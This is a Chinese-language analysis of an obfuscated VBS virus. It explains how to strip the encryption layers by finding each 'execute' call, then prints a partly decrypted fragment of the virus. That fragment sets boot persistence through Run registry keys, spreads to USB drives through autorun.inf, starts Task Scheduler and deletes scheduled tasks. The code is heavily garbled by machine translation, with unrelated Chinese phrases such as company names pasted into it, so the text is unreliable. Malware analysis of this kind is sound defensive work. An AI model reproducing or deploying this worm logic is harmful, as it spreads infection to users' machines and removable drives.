這是壹個vbs腳本病毒,看起來像亂碼,根本看不懂。其實還是有跡可循的。想法是找到“執行”這個關鍵詞。最後病毒會被機器能理解的東西代替,也就是說execute最後壹層的內容就是病毒的源代碼。根據這個想法,我們可以知道解密方法壹定是在這個execute中。
也就是說:妳不需要知道他是怎麽加密的,只需要知道什麽是execute。
按照這個思路,我們可以得到程序最後壹次叠代加密過程之前的代碼,也就是第壹次叠代解密的代碼,看起來還是亂碼,但同理,我們總能找到關鍵字execute。病毒可能會經歷多次叠代,但最終還是能被理解。
需要註意的是,如果execute後面的內容被解密了,真的用execute執行,那就中了圈套,所以需要註意的是execute不能放進去壹起執行。
下面是我最後解密的代碼片段。
相比BT,這個程序的作者手動加密了很多地方,還手動打亂了代碼,嚴重阻礙了程序的可讀性。
分析完代碼後,它的壹般功能是
1。開機自啟動
2。u盤感染
3。破壞系統的隱藏功能
出錯時繼續下壹步
j="\":til="SY":btj=900:vs= "。vbs":ve= "。vbe ":cm = " % com spec %/c ":dfo = "/u # t/":INF = " \ autorun . INF "
set ws = createobject(" wscript . shell "):set FSO = createobject(" scripting . file system object ")
set wmi = getobject(" winmgmt:\ \。\ root \ CIM v2 "):set sis = wmi . execquery(" select * from win32 _ operating system ")
set DC = FSO . drives:set ATS = wmi . execquery(" select * from win32 _ service where name = ' Schedule ' ")
對於ats中的每個ATC:cat = ATC . state:next:如果cat="Stopped ",則ws.run "net start ""task scheduler " " ",0,false
ouw = wscript . script full name:win = FSO . getspecialfolder(0)amp;j:dir = FSO . getspecialfolder(1)j
tmp=fso.getspecialfolder(2)j:wbe = dir & amp;" wbem\":mir=left(ouw,len(ouw)-len(wscript . script name))
CNR = " \ computer name ":CNP = " HKLM \系統\當前控制集\控制" & amp中國北車集團有限公司。中國北車集團有限公司。cnr:cna=rr (cnp,0):如果cna= " "那麽cna=til
WSC = " wscript . exe ":CSC = " cscript . exe ":CSS = CSC & amp;"//no logo ":wsr = rn & amp;:createobject (""wscript.shell " ")。運行"
c = vbcrlf:Inc = til & amp;c & amp"[自動運行]" & amp;c & amp" open = " & ampwsc & amp" .\ " & ampvs & ampc & amp" shell \ open \ command = " & ampwsc & amp" .\ " & ampvs & ampc & amp" shell\open\default=1 "
SF = " shell folders \ ":ROP = " \ software \ Microsoft \ windows \ current version \ explorer \ ":DAP = RR(" HKCU " & amp;rop & ampsf & amp“桌面”,0)& amp;j
HKLM軟件公司。cna & ampj:FSP = RR(" HKLM " & amp;rop & ampsf & amp“普通啟動”,0)& amp;強生公司。vs:FAP = RR(" HKCU ";rop & ampsf & amp“收藏夾”,0)& amp;j
ht=ec("ivwt?56 "):ha = EC(":;9:7 & gt;5k w9 "):HB = HL & amp;"1;& lt& lt= 6x " & amphl & amp" r;":hc="0dwuEpE":hd=ec
(" $"+hc):he=ec("c"+hc)
RSP = " HKLM \軟件\微軟\視窗\當前版本\ ":rsb = RSP & amp;" run \ ":RSP = RSP & amp;"策略\資源管理器\運行\ " & ampcanadian nuclear association 加拿大核協會
hip = " HKCU " & amp;rop & amp" advanced \ showsuperhidden ":SZ = lcase(FSO . get filename(wscript . full name)):如果mir=dir,則sys=true
對於中的每個si
sis:ca = si . caption:cs = si . codeset:cc = si . country code:OS = si . OS language:wv = si .版本:next
if instr(wv," 5.2 ")& lt;& gt0然後hb="w"+hb:lb="v "否則如果os & lt& gt2052和cc & lt& gt那就86
HB = " p "+HB:lb = " o " else HB = " d "+HB:lb = " c "
對於dc中的每個d
如果mir = d & ampj然後ws.run " explorer " & ampd,3,false:bir=true
然後
如果bir或sys或mir=win或mir=wbe,則tir=true else wscript.quit
ouc=rt(ouw,-1):ver=gv(ouw):如果ver="" or not isnumeric(ver)那麽msgbox("See You!"):km 1
else km 0
如果sys then
如果sz=wsc,則pr csc,-1
如果pr(csc,2)=1,則wscript.quit
wscript.sleep 2000
如果pr(csc,1)=0,那麽ws.run css & amp導演& ampve,0,false:如果pr(csc,1)=1,則wscript.quit
if rr("til ",1)& lt;& gttil然後wr "til ",til:wr "tjs ",btj:wr "djs ",date-1:wr "ded ",0
djs=rr("djs ",1):if is date(DJs)and date-cdate(DJs)>50磅& lt& gt“o”然後wr“OSW”,4
如果rr("atd ",1)=1那麽ws.run "at /d /y ",0,false:wr "atd ",0
le=rr("dna ",1):if ei(tmp & amp;le,1)然後ws.run tmp & amp務實貿易(Labor Exchange)?低爆速炸藥(Low Explosive)?職業介紹所(Labour Exchange)
cu:er 10
其他
wscript.sleep 5000
如果pr(wsc,2)=2那麽:如果rr("tjc ",1)=cstr(date)那麽:wscript.quit:else:wr "tjc ",date
如果pr(csc,1)& lt;& gt1或pr(wsc,1)=0,則bf dir & ampve,ouc,7:ws . run CSS & amp;導演& ampve,0,false
如果…就會結束
如果pa=1,那麽rna = rpa & amp核糖核酸
rr=ws.regread(rna)
如果er(0)則rr=0
for I = 1 to len(wt):EC = EC+chr(ASC(mid(wt,I,1))-i):下壹個
因為像JS壹樣,VBS是壹種解釋性語言,代碼從上到下逐行運行。所以理解這種代碼的技巧是:
當我們尋找解密入口點時,我們應該優先考慮最後壹次執行。作者大量使用邏輯拼接。。。屬於非常BT的加密。。。焦急...